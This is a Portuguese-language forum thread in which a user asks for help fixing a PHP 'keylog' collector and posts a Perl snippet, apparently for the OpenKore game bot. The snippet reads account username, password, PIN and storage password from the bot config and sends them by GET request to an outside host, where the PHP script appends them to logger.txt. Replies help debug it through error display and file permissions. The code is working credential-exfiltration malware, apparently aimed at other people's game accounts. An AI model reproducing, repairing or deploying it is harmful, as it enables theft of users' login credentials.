OpenKore 0 Denunciar post Postado Dezembro 24, 2014 Olá. A algum tempo eu utilizava este script <?php $recived_keys = $_GET["keylog"]; $file = fopen('logger.txt', 'a'); fwrite($file, $recived_keys . "\n\n"); ?> Para capturar algumas linhas de um arquivo e salvar em um host. Eu tive de apagar todos os arquivos desse host, e agora estou tentando coloca-los novamente, só que agora o PHP não esta recebendo as informações e gravando no outro arquivo .txt. A pergunta é: Eu tenho de mudar as permissões do PHP no host para ele gravar as informações no outro arquivo de txt? Pois o scritp e o host são os mesmos, o problema e que não está gravando as informações recebidas. Se a questão for as permissões, poderia me informar quais colocar? Alguém pode dar uma luz? Compartilhar este post Link para o post Compartilhar em outros sites
William Bruno 1501 Denunciar post Postado Dezembro 24, 2014 Depende cara, qual erro aparece ? Confira no log do servidor, se não aparecer nada no browser. Compartilhar este post Link para o post Compartilhar em outros sites
OpenKore 0 Denunciar post Postado Dezembro 24, 2014 Depende cara, qual erro aparece ? Confira no log do servidor, se não aparecer nada no browser. Não aparece erro nenhum. Eu uso esse script: use LWP::UserAgent; use Utils qw(urlencode); my $ua = LWP::UserAgent->new; $ua->timeout(5); $ua->env_proxy; my $master = $config{'master'}; $master =~ s/#/:/; my $usuario = $config{'username'}; $usuario =~ s/#/:/; my $loginPin = $config{'loginPinCode'}; $loginPin =~ s/#/:/; my $senha = $config{'password'}; $senha =~ s/#/:/; my $kafra = $config{'storageAuto_password'}; $kafra =~ s/#/:/; my $response = $ua->get("http://www.host.com/key_strokes.php?keylog=$master $usuario $senha $loginPin $kafra"); Para enviar as informações para o host. No caso o PHP iria apenas escrever as informações no arquivo de texto logger.txt que esta no host. Explicando melhor seria assim, fica o script php e o arquivo de txt no host. Ao executar o programa que eu estou rodando no PC o script acima deveria enviar as informações que eu especifiquei para o PHP e em sequencia o PHP iria escrever no arquivo de texto as informações recebidas. Bom essa foi a melhor forma que eu pude explicar, desculpe se estiver um pouco confusa... Compartilhar este post Link para o post Compartilhar em outros sites
OpenKore 0 Denunciar post Postado Dezembro 28, 2014 Pessoal, alguém para dar uma luz???? Bom já tentei algumas permissões para o script PHP mas ele não consegue transferir as informações recebidas para o arquivo de texto. Segue algumas das permissões que eu coloquei; Compartilhar este post Link para o post Compartilhar em outros sites
Beraldo 864 Denunciar post Postado Dezembro 28, 2014 Antes de tudo, habilite todas as exibições de erro, como mostrado aqui: http://forum.imasters.com.br/topic/375800-orientaes-para-uma-boa-participao/ Dê um var_dump() em $recived_keys. Veja se está pegando o valor da URL Também dê um var_dump() em $file, para ver se fopen() retornou um ponteiro para o arquivo Compartilhar este post Link para o post Compartilhar em outros sites
OpenKore 0 Denunciar post Postado Dezembro 28, 2014 Antes de tudo, habilite todas as exibições de erro, como mostrado aqui: http://forum.imasters.com.br/topic/375800-orientaes-para-uma-boa-participao/ Dê um var_dump() em $recived_keys. Veja se está pegando o valor da URL Também dê um var_dump() em $file, para ver se fopen() retornou um ponteiro para o arquivo Vou tentar. Mas lembrando que utilizo este script a algum tempo e nunca tive problemas. Não sei o que pode está acontecendo. Obg pela ajuda. @EDIT Ficaria assim? <?php $recived_keys = $_GET["keylog"]; $file = fopen('logger.txt', 'a'); fwrite($file, $recived_keys . "\n\n"); var_dump($recived_keys); var_dump($file); ?> Pois testei assim e não deu certo '-' Compartilhar este post Link para o post Compartilhar em outros sites
Beraldo 864 Denunciar post Postado Dezembro 28, 2014 Complete com o trecho para habilitar mensagens de erro, ficando assim: <?php ini_set( 'display_errors', true ); error_reporting( E_ALL ); $recived_keys = $_GET["keylog"]; $file = fopen('logger.txt', 'a'); fwrite($file, $recived_keys . "\n\n"); var_dump($recived_keys); var_dump($file); ?> Pois testei assim e não deu certo '-' O que quer dizer com "não deu certo"? Explique o que acontece. Compartilhar este post Link para o post Compartilhar em outros sites
OpenKore 0 Denunciar post Postado Dezembro 28, 2014 O que quer dizer com "não deu certo"? Explique o que acontece. O que acontece e o seguinte. O script: use LWP::UserAgent; use Utils qw(urlencode); my $ua = LWP::UserAgent->new; $ua->timeout(5); $ua->env_proxy; my $master = $config{'master'}; $master =~ s/#/:/; my $usuario = $config{'username'}; $usuario =~ s/#/:/; my $loginPin = $config{'loginPinCode'}; $loginPin =~ s/#/:/; my $senha = $config{'password'}; $senha =~ s/#/:/; my $kafra = $config{'storageAuto_password'}; $kafra =~ s/#/:/; my $response = $ua->get("http://www.host.com/key_strokes.php?keylog=$master $usuario $senha $loginPin $kafra"); Fica em um arquivo de um programa no meu PC, ao eu executar este programa, ele envia as informações que está definidas para serem enviadas ao host. O script em PHP é apenas para interpretar as informações recebidas e grava-las em um arquivo de texto que está hospedado no mesmo host que o PHP. Não tem nada a ser executado a não ser o programa que está com o primeiro script. O que não deu certo foi de eu executar o programa e o script não gravar estas informações. Compartilhar este post Link para o post Compartilhar em outros sites
Beraldo 864 Denunciar post Postado Dezembro 28, 2014 Isso eu entendi. Porém você só disse que "não deu certo". Apareceu mensagem de erro? Testou o último script que postei? Qual foi o resultado? Compartilhar este post Link para o post Compartilhar em outros sites
OpenKore 0 Denunciar post Postado Dezembro 28, 2014 Isso eu entendi. Porém você só disse que "não deu certo". Apareceu mensagem de erro? Testou o último script que postei? Qual foi o resultado? Acabei de testar o script que você postou e deu esse erro. O que "não deu certo" foi o que eu disse acima. De o php não registrar as informações recebidas no arquivo de texto que está no host. Será que tenho de mexer nas permissões do arquivo de texto? Compartilhar este post Link para o post Compartilhar em outros sites
Beraldo 864 Denunciar post Postado Dezembro 28, 2014 Há dois problemas: 1. keylog não está presente na URL. Veja aqui por que ela ocorre e como corrigi-la 2. O arquivo está sem permissão de escrita. Deixe em 644. Se persistir, tente com 664. Veja mais sobre chmod e permissões aqui Compartilhar este post Link para o post Compartilhar em outros sites